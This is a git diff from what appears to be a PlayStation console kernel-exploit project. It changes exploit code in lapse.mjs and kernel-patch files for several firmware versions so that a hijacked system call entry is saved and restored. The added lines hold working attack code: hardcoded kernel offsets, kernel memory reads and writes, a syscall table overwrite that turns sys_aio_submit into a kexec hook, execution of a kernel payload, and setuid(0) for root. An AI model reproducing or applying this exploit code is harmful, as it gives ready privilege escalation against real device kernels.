diff --git a/CHANGELOG.md b/CHANGELOG.md index e5389c7..64b9c7b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -25,7 +25,10 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), - Fixed `ip6po_rthdr` offset for PS5 by abc - Verified the number of blocking requests needed to be two by abc - Only run kernel exploit once by checking setuid by @JTAG7371 -- Restore syscall 661 (`sys_aio_submit()`) after patching by @janisslsm +- ~~Restore syscall 661 (`sys_aio_submit()`) after patching by @janisslsm~~ + - Was not actually restoring syscall. Used a different method/rewrote to + restore in kpatch. + - Shellcode from 345 bytes to 444 bytes ### Changed diff --git a/src/kpatch/700.c b/src/kpatch/700.c index 3a3ee99..33194fb 100644 --- a/src/kpatch/700.c +++ b/src/kpatch/700.c @@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) { *pktinfo_field = 0; u64 *pktinfo_field2 = uap->arg4; *pktinfo_field2 = 0; + + // get kernel base + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + u64 *sysent_661_save = uap->arg5; + for (int i = 0; i < 0x30; i += 8) { + write64(kbase, 0x112d250 + i, sysent_661_save[i / 8]); + } } __attribute__((always_inline)) diff --git a/src/kpatch/750.c b/src/kpatch/750.c index 209098d..d930c27 100644 --- a/src/kpatch/750.c +++ b/src/kpatch/750.c @@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) { *pktinfo_field = 0; u64 *pktinfo_field2 = uap->arg4; *pktinfo_field2 = 0; + + // get kernel base + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + u64 *sysent_661_save = uap->arg5; + for (int i = 0; i < 0x30; i += 8) { + write64(kbase, 0x1129f30 + i, sysent_661_save[i / 8]); + } } __attribute__((always_inline)) diff --git a/src/kpatch/800.c b/src/kpatch/800.c index ecf3f8c..da80795 100644 --- a/src/kpatch/800.c +++ b/src/kpatch/800.c @@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) { *pktinfo_field = 0; u64 *pktinfo_field2 = uap->arg4; *pktinfo_field2 = 0; + + // get kernel base + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + u64 *sysent_661_save = uap->arg5; + for (int i = 0; i < 0x30; i += 8) { + write64(kbase, 0x11040c0 + i, sysent_661_save[i / 8]); + } } __attribute__((always_inline)) diff --git a/src/kpatch/850.c b/src/kpatch/850.c index 7418230..0b1d3aa 100644 --- a/src/kpatch/850.c +++ b/src/kpatch/850.c @@ -50,6 +50,16 @@ static inline void restore(struct kexec_args *uap) { *pktinfo_field = 0; u64 *pktinfo_field2 = uap->arg4; *pktinfo_field2 = 0; + + // get kernel base + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + + u64 *sysent_661_save = uap->arg5; + for (int i = 0; i < 0x30; i += 8) { + write64(kbase, 0x11041b0 + i, sysent_661_save[i / 8]); + } } __attribute__((always_inline)) diff --git a/src/kpatch/900.c b/src/kpatch/900.c index e1df750..6095c14 100644 --- a/src/kpatch/900.c +++ b/src/kpatch/900.c @@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) { *pktinfo_field = 0; u64 *pktinfo_field2 = uap->arg4; *pktinfo_field2 = 0; + + // get kernel base + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + u64 *sysent_661_save = uap->arg5; + for (int i = 0; i < 0x30; i += 8) { + write64(kbase, 0x1107f00 + i, sysent_661_save[i / 8]); + } } __attribute__((always_inline)) diff --git a/src/kpatch/903.c b/src/kpatch/903.c index 12788b0..477e4a8 100644 --- a/src/kpatch/903.c +++ b/src/kpatch/903.c @@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) { *pktinfo_field = 0; u64 *pktinfo_field2 = uap->arg4; *pktinfo_field2 = 0; + + // get kernel base + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + u64 *sysent_661_save = uap->arg5; + for (int i = 0; i < 0x30; i += 8) { + write64(kbase, 0x1103f00 + i, sysent_661_save[i / 8]); + } } __attribute__((always_inline)) diff --git a/src/kpatch/950.c b/src/kpatch/950.c index dbcadb7..5db157d 100644 --- a/src/kpatch/950.c +++ b/src/kpatch/950.c @@ -50,6 +50,15 @@ static inline void restore(struct kexec_args *uap) { *pktinfo_field = 0; u64 *pktinfo_field2 = uap->arg4; *pktinfo_field2 = 0; + + // get kernel base + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + u64 *sysent_661_save = uap->arg5; + for (int i = 0; i < 0x30; i += 8) { + write64(kbase, 0x1100ee0 + i, sysent_661_save[i / 8]); + } } __attribute__((always_inline)) diff --git a/src/lapse.mjs b/src/lapse.mjs index 3ed12f1..f1c1a34 100644 --- a/src/lapse.mjs +++ b/src/lapse.mjs @@ -1519,9 +1519,13 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) { log("change sys_aio_submit() to sys_kexec()"); // sysent[661] is unimplemented so free for use const sysent_661 = kbase.add(off_sysent_661); - const sy_narg = kmem.read32(sysent_661); - const sy_call = kmem.read64(sysent_661.add(8)); - const sy_thrcnt = kmem.read32(sysent_661.add(0x2c)); + const sysent_661_save = new Buffer(0x30); // sizeof syscall + for (let off = 0; off < sysent_661_save.size; off += 8) { + sysent_661_save.write64(off, kmem.read64(sysent_661.add(off))); + } + log(`sysent[611] save addr: ${sysent_661_save.addr}`); + log("sysent[611] save data:"); + hexdump(sysent_661_save); // .sy_narg = 6 kmem.write32(sysent_661, 6); // .sy_call = gadgets['jmp qword ptr [rsi]'] @@ -1583,22 +1587,24 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) { die("test jit exec failed"); } + log("mlock save data for kernel restore"); const pipe_save = restore_info[1]; restore_info[1] = pipe_save.addr; - log("mlock pipe save data for kernel restore"); sysi("mlock", restore_info[1], page_size); + restore_info[4] = sysent_661_save.addr; + sysi("mlock", restore_info[4], page_size); + log("execute kpatch...") mem.cpy(write_addr, patches.addr, patches.size); sys_void("kexec", exec_addr, ...restore_info); + log("munlock save data used in kernel restore"); + sysi("munlock", restore_info[1], page_size); + sysi("munlock", restore_info[4], page_size); + log("setuid(0)"); sysi("setuid", 0); log("kernel exploit succeeded!"); - - kmem.write32(sysent_661.add(0x2c), sy_thrcnt); - kmem.write64(sysent_661.add(8), sy_call); - kmem.write32(sysent_661, sy_narg); - log("restored sys_aio_submit()"); } // FUNCTIONS FOR STAGE: SETUP diff --git a/src/module/chain.mjs b/src/module/chain.mjs index 439af28..b590665 100644 --- a/src/module/chain.mjs +++ b/src/module/chain.mjs @@ -49,6 +49,7 @@ export const syscall_map = new Map( getdirentries: 196, __sysctl: 202, mlock: 203, + munlock: 204, clock_gettime: 232, nanosleep: 240, sched_yield: 331,